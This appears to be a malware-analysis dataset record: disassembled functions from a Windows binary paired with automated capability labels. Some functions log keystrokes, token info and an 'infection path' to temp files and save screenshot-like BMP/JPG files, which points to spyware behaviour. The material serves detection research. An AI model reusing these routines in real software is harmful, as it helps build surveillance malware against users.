joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e3f50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [0x7651b8], 0
push ebx
push esi
push edi
jne 0x4e406e
mov byte [0x7651b8], 1
xor esi, esi
lea esp, [esp]
mov ecx, esi
xor eax, eax
and ecx, 1
mov edx, esi
or ecx, eax
je 0x4e3f90
shrd edx, eax, 1
shr eax, 1
xor edx, 0xd7870f42
xor eax, 0xc96c5795
jmp 0x4e3f96
shrd edx, eax, 1
shr eax, 1
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e3fb1
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e3fcc
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e3fe7
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e4002
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e401d
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e4038
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov ecx, edx
shrd edx, eax, 1
and ecx, 1
shr eax, 1
or ecx, 0
je 0x4e4053
xor edx, 0xd7870f42
xor eax, 0xc96c5795
mov dword [esi*8 + 0x7651c0], edx
mov dword [esi*8 + 0x7651c4], eax
inc esi
cmp esi, 0x100
jb 0x4e3f70
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
not ebx
mov edi, dword [esp + 0x14]
not edx
test edi, edi
je 0x4e40a9
mov esi, dword [esp + 0x10]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
shrd ebx, edx, 8
xor ecx, eax
shr edx, 8
xor ebx, dword [ecx*8 + 0x7651c0]
xor edx, dword [ecx*8 + 0x7651c4]
dec edi
jne 0x4e4086
pop edi
not ebx
not edx
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x4f89b0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x4f89d0
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x4f89d0
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4f89d0
push dword [esp + 8]
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x509810
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x50983f
push esi
call fcn.005099f0
add esp, 4
cmp byte [esi + 0x40], 0
je 0x509838
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
push edi
cmp eax, 0xcb
jne 0x5098c2
mov eax, dword [esi + 0x1a8]
cmp byte [eax + 0x10], 0
je 0x5098ad
mov eax, dword [esi + 8]
test eax, eax
je 0x509865
mov eax, dword [eax]
push esi
call eax
add esp, 4
mov eax, dword [esi + 0x1a8]
push esi
mov eax, dword [eax]
call eax
add esp, 4
test eax, eax
je 0x5098a8
cmp eax, 2
je 0x5098ad
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x509856
cmp eax, 3
je 0x50988d
cmp eax, 1
jne 0x509856
inc dword [ecx + 4]
mov edx, dword [esi + 8]
mov edi, dword [edx + 8]
cmp dword [ecx + 4], edi
jl 0x509856
mov eax, dword [esi + 0x128]
add eax, edi
mov dword [edx + 8], eax
jmp 0x509856
pop edi
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.005098f0
add esp, 4
pop edi
pop esi
ret
cmp eax, 0xcc
je 0x5098e4
mov eax, dword [esi]
push esi
mov dword [eax + 0x14], 0x15
mov ecx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [ecx + 0x18], eax
mov eax, dword [esi]
mov eax, dword [eax]
call eax
add esp, 4
push esi
call fcn.005098f0
add esp, 4
pop edi
pop esi
ret

Function at 0x5098f0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
cmp dword [esi + 0x14], 0xcc
je 0x50991c
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax]
call eax
add esp, 4
mov dword [esi + 0x78], 0
mov dword [esi + 0x14], 0xcc
mov eax, dword [esi + 0x198]
cmp byte [eax + 8], 0
je 0x5099a2
lea ebx, [esi + 0x78]
jmp 0x509930
mov eax, dword [ebx]
cmp eax, dword [esi + 0x60]
jae 0x509976
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x509955
mov dword [ecx + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0x60]
push esi
mov dword [ecx + 8], eax
mov eax, dword [esi + 8]
mov eax, dword [eax]
call eax
add esp, 4
mov eax, dword [esi + 0x19c]
mov edi, dword [ebx]
push 0
push ebx
mov eax, dword [eax + 4]
push 0
push esi
call eax
mov eax, dword [ebx]
add esp, 0x10
cmp eax, edi
je 0x5099b8
cmp eax, dword [esi + 0x60]
jb 0x509937
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax + 4]
call eax
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax]
call eax
mov dword [ebx], 0
add esp, 8
mov eax, dword [esi + 0x198]
cmp byte [eax + 8], 0
jne 0x509930
xor eax, eax
cmp byte [esi + 0x41], al
pop edi
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov al, 1
pop esi
pop ebx
ret
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x50ab30
Capabilities:
Query environment variable

Disassembly:
push ecx
push esi
push edi
mov edi, dword [esp + 0x10]
push edi
mov dword [edi + 4], 0
call fcn.00516d50
push 0x54
push edi
mov dword [esp + 0x14], eax
call fcn.00516d20
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x50ab77
push edi
call fcn.00516d60
mov ecx, dword [edi]
push edi
mov dword [ecx + 0x14], 0x38
mov ecx, dword [edi]
mov dword [ecx + 0x18], esi
mov eax, dword [edi]
mov eax, dword [eax]
call eax
add esp, 8
mov dword [esi], fcn.0050a7c0
mov dword [esi + 4], fcn.0050a650
mov dword [esi + 8], fcn.0050a720
mov dword [esi + 0xc], fcn.0050a5a0
mov dword [esi + 0x10], 0x50ae90
mov dword [esi + 0x14], 0x50ae20
mov dword [esi + 0x18], 0x50ac80
mov dword [esi + 0x1c], 0x50a450
mov dword [esi + 0x20], 0x50a300
mov dword [esi + 0x24], 0x50aa30
mov dword [esi + 0x28], 0x50af00
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [esp + 8]
mov dword [esi + 0x2c], eax
mov dword [esi + 0x38], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
test eax, eax
je 0x50ac5a
lea ecx, [esp + 0x10]
mov byte [esp + 0x10], 0x78
push ecx
lea ecx, [esp + 0xc]
push ecx
push str._ld_c
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0x10
test eax, eax
jle 0x50ac5a
mov al, byte [esp + 0x10]
cmp al, 0x6d
je 0x50ac49
cmp al, 0x4d
mov eax, dword [esp + 8]
jne 0x50ac51
imul eax, dword [esp + 8], 0x3e8
imul eax, eax, 0x3e8
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ecx
ret
Function at 0x50e420
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x20]
push esi
cmp dword [ebp + 0x4c], 1
mov ebx, dword [ebp + 0x1c0]
mov dword [esp + 0x1c], ebx
jne 0x50e445
mov esi, 0x1fe
mov byte [ebx + 0x1c], 1
jmp 0x50e44b
xor esi, esi
mov byte [ebx + 0x1c], 0
push dword [ebp + 0x64]
mov ecx, dword [ebp + 4]
lea eax, [esi + 0x100]
push eax
push 1
push ebp
mov eax, dword [ecx + 8]
mov dword [esp + 0x20], esi
call eax
xor ecx, ecx
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x14]
add esp, 0x10
mov dword [esp + 0x14], ecx
cmp dword [ebp + 0x64], ecx
jle 0x50e560
push edi
lea ecx, [ecx]
mov edi, dword [ebx + ecx*4 + 0x20]
cdq
idiv edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], eax
test esi, esi
je 0x50e49d
mov eax, dword [ebx + 0x18]
add dword [eax + ecx*4], 0xff
mov eax, dword [ebx + 0x18]
xor ebx, ebx
mov ebp, dword [eax + ecx*4]
lea eax, [edi + 0xfe]
lea ecx, [edi*2 - 2]
cdq
idiv ecx
xor esi, esi
mov edx, eax
lea esp, [esp]
cmp esi, edx
jle 0x50e4f6
mov ecx, dword [esp + 0x10]
lea edi, [edi*2 - 2]
imul eax, ebx, 0x1fe
add ecx, 0xfe
add ecx, eax
lea ecx, [ecx]
add ecx, 0x1fe
inc ebx
mov eax, ecx
cdq
idiv edi
mov edx, eax
cmp esi, edx
jg 0x50e4e0
mov edi, dword [esp + 0x10]
mov al, byte [esp + 0x1c]
imul bl
mov byte [esi + ebp], al
inc esi
cmp esi, 0xff
jle 0x50e4c0
mov esi, dword [esp + 0x14]
test esi, esi
je 0x50e541
mov ecx, 1
lea edx, [ebp - 1]
jmp 0x50e520
movzx eax, byte [ebp]
lea edx, [edx - 1]
mov byte [edx + 1], al
movzx eax, byte [ebp + 0xff]
mov byte [ecx + ebp + 0xff], al
inc ecx
cmp ecx, 0xff
jle 0x50e520
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
inc ecx
mov dword [esp + 0x18], ecx
cmp ecx, dword [eax + 0x64]
mov eax, dword [esp + 0x1c]
jl 0x50e480
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x5233a6
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x7659c0], 0
push ebx
push esi
mov esi, 0x7659c8
jne 0x5233d2
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x7659e0], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x7659c0], 1
push dword [0x7659e0]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x52346f
push 0x14
push 8
push dword [0x6eb394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x523499
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x7659c4]
test eax, eax
je 0x523414
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x7659c4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x52349e
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x7659e0]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x6eb394]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x523499
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x409e1f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
call fcn.0040964a
lea edi, [esi + 0x1c]
mov dword [esp + 0x230], 0
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x20]
mov byte [esp + 0x230], 1
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x24]
mov byte [esp + 0x230], 2
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x28]
mov byte [esp + 0x230], 3
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x2c]
mov byte [esp + 0x230], 4
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x30]
mov byte [esp + 0x230], 5
call sub.MFC42.DLL_CString::CString_2
xor eax, eax
push 0x40eb00
mov ecx, ebp
mov byte [esp + 0x234], 6
mov dword [esi], 0x40b500
mov dword [esi + 0x18], eax
mov dword [esi + 0x34], eax
call fcn.0040963e
push 0x40eb00
mov ecx, ebx
call fcn.0040963e
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [esp + 0x28]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x1e]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1a]
and edx, 0xffff
push edx
mov edx, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x18]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x1e]
push edx
mov edx, dword [esp + 0x26]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x144]
push str._02d_02d_04d__02d_02d_02d_03d.TXT
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
lea ecx, [esp + 0x28]
push ecx
mov ecx, edi
call fcn.0040963e
lea edx, [esp + 0x128]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [esp + 0x228]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x224
ret
Function at 0x40101d
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x409e1f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
call fcn.0040964a
lea edi, [esi + 0x1c]
mov dword [esp + 0x230], 0
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x20]
mov byte [esp + 0x230], 1
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x24]
mov byte [esp + 0x230], 2
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x28]
mov byte [esp + 0x230], 3
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x2c]
mov byte [esp + 0x230], 4
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x30]
mov byte [esp + 0x230], 5
call sub.MFC42.DLL_CString::CString_2
xor eax, eax
push 0x40eb00
mov ecx, ebp
mov byte [esp + 0x234], 6
mov dword [esi], 0x40b500
mov dword [esi + 0x18], eax
mov dword [esi + 0x34], eax
call fcn.0040963e
push 0x40eb00
mov ecx, ebx
call fcn.0040963e
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [esp + 0x28]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [esp + 0x1e]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1a]
and edx, 0xffff
push edx
mov edx, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x18]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x1e]
push edx
mov edx, dword [esp + 0x26]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x144]
push str._02d_02d_04d__02d_02d_02d_03d.TXT
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
lea ecx, [esp + 0x28]
push ecx
mov ecx, edi
call fcn.0040963e
lea edx, [esp + 0x128]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [esp + 0x228]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x224
ret

Function at 0x4011c0
Capabilities:
Access peb ldr_data
Delete file
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x409e6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x40b500
mov eax, dword [esi + 0x1c]
lea edi, [esi + 0x1c]
push eax
mov dword [esp + 0x18], 5
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esi + 0x30]
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x2c]
mov byte [esp + 0x14], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x28]
mov byte [esp + 0x14], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x24]
mov byte [esp + 0x14], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x20]
mov byte [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString
mov ecx, edi
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CObArray::CObArray
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x401270
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
mov ebx, ecx
push esi
push 0x40eb00
lea esi, [ebx + 0x20]
mov ecx, esi
call fcn.0040963e
push ebx
push 0x401330
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x401296
pop esi
pop ebx
ret
push ebp
lea ebp, [ebx + 0x24]
push esi
mov ecx, ebp
call sub.MFC42.DLL_CString::operator
mov eax, dword [ebx + 0x1c]
push 0x40e144
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x40131b
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
push esi
push str._r_n_LAST_TOKEN_INFO__r_n
call edi
mov eax, dword [ebx + 0x2c]
push esi
push eax
call edi
push esi
push str._r_n_r_n
call edi
push esi
push str._r_n_LAST_KEY_STROKE__r_n
call edi
mov ecx, dword [ebx + 0x28]
push esi
push ecx
call edi
push esi
push str._r_n_r_n
call edi
push esi
push str._r_n_INFECTION_PATH___r_n
call edi
mov edx, dword [ebx + 0x30]
push esi
push edx
call edi
add esp, 0x40
push esi
push str._r_n_r_n
call edi
mov eax, dword [ebp]
push esi
push eax
call edi
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
ret
Function at 0x401ad0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x409fcc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
lea edi, [esi + 8]
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0xc]
mov dword [esp + 0x230], 0
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x128]
mov byte [esp + 0x230], 1
push eax
push 0xff
mov dword [esi], 0x40b7ec
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x1e]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1a]
and edx, 0xffff
push edx
mov edx, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x18]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x1e]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push edx
mov edx, dword [esp + 0x26]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x44]
push str._02d_02d_04d__02d_02d_02d_03d.BMP
push eax
call ebp
add esp, 0x24
lea ecx, [esp + 0x128]
push ecx
mov ecx, edi
call fcn.0040963e
lea edx, [esp + 0x28]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0x1e]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x1a]
and eax, 0xffff
push eax
mov eax, dword [esp + 0x1c]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x18]
and eax, 0xffff
push edx
mov edx, dword [esp + 0x1e]
push eax
mov eax, dword [esp + 0x26]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
push str._02d_02d_04d__02d_02d_02d_03d.JPG
lea ecx, [esp + 0x48]
push ecx
call ebp
add esp, 0x24
lea edx, [esp + 0x128]
mov ecx, ebx
push edx
call fcn.0040963e
lea eax, [esp + 0x28]
mov ecx, ebx
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x1f2c
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x22c]
add esp, 4
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x224
ret
Function at 0x401aed
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x409fcc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
lea edi, [esi + 8]
mov ecx, edi
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0xc]
mov dword [esp + 0x230], 0
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea eax, [esp + 0x128]
mov byte [esp + 0x230], 1
push eax
push 0xff
mov dword [esi], 0x40b7ec
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x1e]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1a]
and edx, 0xffff
push edx
mov edx, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x18]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x1e]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push edx
mov edx, dword [esp + 0x26]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x44]
push str._02d_02d_04d__02d_02d_02d_03d.BMP
push eax
call ebp
add esp, 0x24
lea ecx, [esp + 0x128]
push ecx
mov ecx, edi
call fcn.0040963e
lea edx, [esp + 0x28]
mov ecx, edi
push edx
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esp + 0x1e]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x1a]
and eax, 0xffff
push eax
mov eax, dword [esp + 0x1c]
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x18]
and eax, 0xffff
push edx
mov edx, dword [esp + 0x1e]
push eax
mov eax, dword [esp + 0x26]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
push str._02d_02d_04d__02d_02d_02d_03d.JPG
lea ecx, [esp + 0x48]
push ecx
call ebp
add esp, 0x24
lea edx, [esp + 0x128]
mov ecx, ebx
push edx
call fcn.0040963e
lea eax, [esp + 0x28]
mov ecx, ebx
push eax
call sub.MFC42.DLL_CString::operator_1
push 0x1f2c
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x22c]
add esp, 4
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x224
ret

Function at 0x401c80
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x409feb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x40b7ec
mov eax, dword [esi + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edi, [esi + 8]
push eax
mov dword [esp + 0x1c], 0
call ebx
mov eax, dword [esi + 0xc]
add esi, 0xc
push eax
call ebx
mov ecx, esi
call sub.MFC42.DLL_CString::CString
mov ecx, edi
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x402040
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x3c
push ebx
push esi
mov esi, dword [esp + 0x48]
push edi
push 0
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea eax, [esp + 0x24]
push 0xe
push eax
call edi
push esi
push 1
lea ecx, [esp + 0x44]
push 0x28
push ecx
call edi
mov ecx, dword [esp + 0x5a]
mov ebx, dword [esp + 0x50]
and ecx, 0xffff
add esp, 0x2c
imul ecx, ebx
lea eax, [ecx + 0x1f]
and al, 0xe0
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, ecx
cdq
and edx, 7
add eax, edx
lea edx, [ebx + ebx*2]
sar edi, 3
sar eax, 3
sub edi, eax
mov eax, dword [esp + 0x28]
dec eax
mov dword [esp + 0xc], edx
test eax, eax
jl 0x402101
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x50]
push ebp
lea ebx, [ecx*4]
sub ebx, ecx
imul ecx, eax
lea edx, [edx + ecx*2]
neg ebx
add ecx, edx
inc eax
mov ebp, ecx
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x10]
push esi
push 1
push eax
push ebp
call dword [sym.imp.MSVCRT.dll_fread]
push 1
push edi
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
mov eax, dword [esp + 0x6c]
add esp, 0x1c
add ebp, ebx
dec eax
mov dword [esp + 0x50], eax
jne 0x4020d7
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x3c
ret 0x1c

Function at 0x4024d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
mov al, 0x46
mov edx, 0x100
mov byte [esp + 5], al
mov byte [esp + 7], al
xor al, al
mov word [esp], 0xe0ff
mov byte [esp + 8], al
mov byte [esp + 0xb], al
mov byte [esp + 0x10], al
mov byte [esp + 0x11], al
mov eax, dword [ecx + 4]
lea ecx, [esp]
push eax
push 1
push 0x12
push ecx
mov word [esp + 0x12], 0x1000
mov byte [esp + 0x14], 0x4a
mov byte [esp + 0x16], 0x49
mov word [esp + 0x19], 0x101
mov word [esp + 0x1c], dx
mov word [esp + 0x1e], dx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x24
ret

Function at 0x402540
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x48
push ebx
push ebp
mov ebx, ecx
push esi
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
push edi
mov eax, dword [ebx + 4]
lea esi, [ebx + 0x101c]
mov ecx, 0x10
lea edi, [esp + 0x15]
mov word [esp + 0x10], 0xdbff
mov word [esp + 0x12], 0x4300
mov byte [esp + 0x14], 0
push eax
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x18]
push 0x45
push ecx
call ebp
mov edx, dword [ebx + 4]
lea esi, [ebx + 0x105c]
push edx
mov ecx, 0x10
lea edi, [esp + 0x29]
push 1
lea eax, [esp + 0x28]
mov byte [esp + 0x2c], 1
push 0x45
push eax
rep movsd dword es:[edi], dword [esi]
call ebp
add esp, 0x20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48
ret